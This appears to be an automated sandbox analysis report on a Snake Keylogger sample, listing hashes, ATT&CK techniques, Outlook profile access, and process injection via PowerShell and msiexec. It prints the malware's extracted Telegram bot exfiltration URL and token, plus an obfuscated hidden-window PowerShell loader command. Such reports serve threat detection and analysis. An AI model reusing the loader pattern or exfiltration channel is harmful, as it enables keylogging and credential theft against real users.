snakekeylogger | 02a274eea2ece1b7eebcc8f24892f1315675fb5d9b096cfb10dbb3215b902a76

Analysis

max time kernel
142s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
15-11-2024 15:13

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General

Target

02a274eea2ece1b7eebcc8f24892f1315675fb5d9b096cfb10dbb3215b902a76.exe
Size

663KB
MD5

2b3e92e864f53c18bb0eae31da025f10
SHA1

fdc8132052d658fe205dce9b67339b43a3f8b3c8
SHA256

02a274eea2ece1b7eebcc8f24892f1315675fb5d9b096cfb10dbb3215b902a76
SHA512

78032027ce8a31eb529f636769ef38f565edb4b12d16f9c0a112af7d06352df1ee64acd3d9225d495df734309d04bf008d236812b68add96dc89381443f4b6bb
SSDEEP

12288:G0mnA1ztovdMjb6RIA7ENUGyOwFxDVin19zIor9t3DSDb4NJ:uA1ztovKQM6Gy5mnDz33ewf

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral2/memory/1928-74-0x0000000001260000-0x00000000024B4000-memory.dmp	family_snakekeylogger
behavioral2/memory/1928-75-0x0000000001260000-0x0000000001286000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1532	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
24	1928	msiexec.exe
43	1928	msiexec.exe
46	1928	msiexec.exe
49	1928	msiexec.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
42	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1928	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1532	powershell.exe
1928	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\propangas.lem	02a274eea2ece1b7eebcc8f24892f1315675fb5d9b096cfb10dbb3215b902a76.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	02a274eea2ece1b7eebcc8f24892f1315675fb5d9b096cfb10dbb3215b902a76.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1532	powershell.exe
1532	powershell.exe
1532	powershell.exe
1532	powershell.exe
1532	powershell.exe
1532	powershell.exe
1532	powershell.exe
1532	powershell.exe
1532	powershell.exe
1928	msiexec.exe
1928	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1532	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeIncreaseQuotaPrivilege	1532	powershell.exe
Token: SeSecurityPrivilege	1532	powershell.exe
Token: SeTakeOwnershipPrivilege	1532	powershell.exe
Token: SeLoadDriverPrivilege	1532	powershell.exe
Token: SeSystemProfilePrivilege	1532	powershell.exe
Token: SeSystemtimePrivilege	1532	powershell.exe
Token: SeProfSingleProcessPrivilege	1532	powershell.exe
Token: SeIncBasePriorityPrivilege	1532	powershell.exe
Token: SeCreatePagefilePrivilege	1532	powershell.exe
Token: SeBackupPrivilege	1532	powershell.exe
Token: SeRestorePrivilege	1532	powershell.exe
Token: SeShutdownPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeSystemEnvironmentPrivilege	1532	powershell.exe
Token: SeRemoteShutdownPrivilege	1532	powershell.exe
Token: SeUndockPrivilege	1532	powershell.exe
Token: SeManageVolumePrivilege	1532	powershell.exe
Token: 33	1532	powershell.exe
Token: 34	1532	powershell.exe
Token: 35	1532	powershell.exe
Token: 36	1532	powershell.exe
Token: SeDebugPrivilege	1928	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 1532	2112	02a274eea2ece1b7eebcc8f24892f1315675fb5d9b096cfb10dbb3215b902a76.exe	85
PID 2112 wrote to memory of 1532	2112	02a274eea2ece1b7eebcc8f24892f1315675fb5d9b096cfb10dbb3215b902a76.exe	85
PID 2112 wrote to memory of 1532	2112	02a274eea2ece1b7eebcc8f24892f1315675fb5d9b096cfb10dbb3215b902a76.exe	85
PID 1532 wrote to memory of 1928	1532	powershell.exe	95
PID 1532 wrote to memory of 1928	1532	powershell.exe	95
PID 1532 wrote to memory of 1928	1532	powershell.exe	95
PID 1532 wrote to memory of 1928	1532	powershell.exe	95

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\02a274eea2ece1b7eebcc8f24892f1315675fb5d9b096cfb10dbb3215b902a76.exe
"C:\Users\Admin\AppData\Local\Temp\02a274eea2ece1b7eebcc8f24892f1315675fb5d9b096cfb10dbb3215b902a76.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Stavelsesantallenes=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Trttes.Lsg30';$Rensemaskinens=$Stavelsesantallenes.SubString(50893,3);.$Rensemaskinens($Stavelsesantallenes)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1532
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:1928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Evighedskalenders.Url

Filesize
297KB

MD5
5486b2628ef878dcf6c0ff20fb44e1b2

SHA1
348bd502c7c5d043b96b56d12031422dabdbfc4c

SHA256
988aec254517a9ed62e9aee0ef9d5d3888600d915eea4e89ae803e298c6e3071

SHA512
bb450c02386e09fd27b7f91a8d72f387f05232819caf815caf433fb1efc5b2c6c5455ff6fe1e6e050aa14483cef5bcc9736a74bcdc13d43110a7131908a9b1f8

Download Submit
C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Trttes.Lsg30

Filesize
49KB

MD5
7e324ee649b79b8d21cc35127546dc6f

SHA1
852fdc7255cff49666a79a8f1b196340679360bb

SHA256
ff5d64b1291d7f4d4f9274beb4a0f9bb49870cd80134a8b5392913154449b1fb

SHA512
df3d449df9c2e7a5258256ee5dfec849e3d5a4953674e203217e59fc2ad12fd2b44443031b1749f73e1d7051536e1db7a87bcc82a0c2cd151d17ce05422089f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u4nky0am.mr2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1532-6-0x000000007436E000-0x000000007436F000-memory.dmp

Filesize
4KB

Download
memory/1532-7-0x0000000002C20000-0x0000000002C56000-memory.dmp

Filesize
216KB

Download
memory/1532-8-0x0000000005330000-0x0000000005958000-memory.dmp

Filesize
6.2MB

Download
memory/1532-9-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-10-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-11-0x0000000005100000-0x0000000005122000-memory.dmp

Filesize
136KB

Download
memory/1532-12-0x00000000052A0000-0x0000000005306000-memory.dmp

Filesize
408KB

Download
memory/1532-13-0x0000000005A60000-0x0000000005AC6000-memory.dmp

Filesize
408KB

Download
memory/1532-23-0x0000000005CD0000-0x0000000006024000-memory.dmp

Filesize
3.3MB

Download
memory/1532-24-0x00000000061C0000-0x00000000061DE000-memory.dmp

Filesize
120KB

Download
memory/1532-25-0x0000000006210000-0x000000000625C000-memory.dmp

Filesize
304KB

Download
memory/1532-26-0x0000000007280000-0x0000000007316000-memory.dmp

Filesize
600KB

Download
memory/1532-27-0x00000000066C0000-0x00000000066DA000-memory.dmp

Filesize
104KB

Download
memory/1532-28-0x0000000006730000-0x0000000006752000-memory.dmp

Filesize
136KB

Download
memory/1532-29-0x00000000078D0000-0x0000000007E74000-memory.dmp

Filesize
5.6MB

Download
memory/1532-31-0x0000000008500000-0x0000000008B7A000-memory.dmp

Filesize
6.5MB

Download
memory/1532-34-0x0000000070960000-0x0000000070CB4000-memory.dmp

Filesize
3.3MB

Download
memory/1532-33-0x00000000707F0000-0x000000007083C000-memory.dmp

Filesize
304KB

Download
memory/1532-32-0x0000000007620000-0x0000000007652000-memory.dmp

Filesize
200KB

Download
memory/1532-45-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-44-0x0000000007660000-0x000000000767E000-memory.dmp

Filesize
120KB

Download
memory/1532-46-0x0000000007690000-0x0000000007733000-memory.dmp

Filesize
652KB

Download
memory/1532-47-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-48-0x0000000007790000-0x000000000779A000-memory.dmp

Filesize
40KB

Download
memory/1532-49-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-50-0x00000000077D0000-0x00000000077FA000-memory.dmp

Filesize
168KB

Download
memory/1532-51-0x0000000007800000-0x0000000007824000-memory.dmp

Filesize
144KB

Download
memory/1532-52-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-54-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-56-0x000000007436E000-0x000000007436F000-memory.dmp

Filesize
4KB

Download
memory/1532-57-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-58-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-59-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-60-0x0000000008B80000-0x000000000C323000-memory.dmp

Filesize
55.6MB

Download
memory/1532-61-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-62-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-63-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-64-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1532-66-0x0000000074360000-0x0000000074B10000-memory.dmp

Filesize
7.7MB

Download
memory/1928-67-0x0000000001260000-0x00000000024B4000-memory.dmp

Filesize
18.3MB

Download
memory/1928-74-0x0000000001260000-0x00000000024B4000-memory.dmp

Filesize
18.3MB

Download
memory/1928-75-0x0000000001260000-0x0000000001286000-memory.dmp

Filesize
152KB

Download
memory/1928-76-0x0000000023A00000-0x0000000023A9C000-memory.dmp

Filesize
624KB

Download
memory/1928-79-0x0000000024660000-0x00000000246B0000-memory.dmp

Filesize
320KB

Download
memory/1928-80-0x0000000024880000-0x0000000024A42000-memory.dmp

Filesize
1.8MB

Download
memory/1928-83-0x0000000024750000-0x00000000247E2000-memory.dmp

Filesize
584KB

Download
memory/1928-84-0x00000000246B0000-0x00000000246BA000-memory.dmp

Filesize
40KB

Download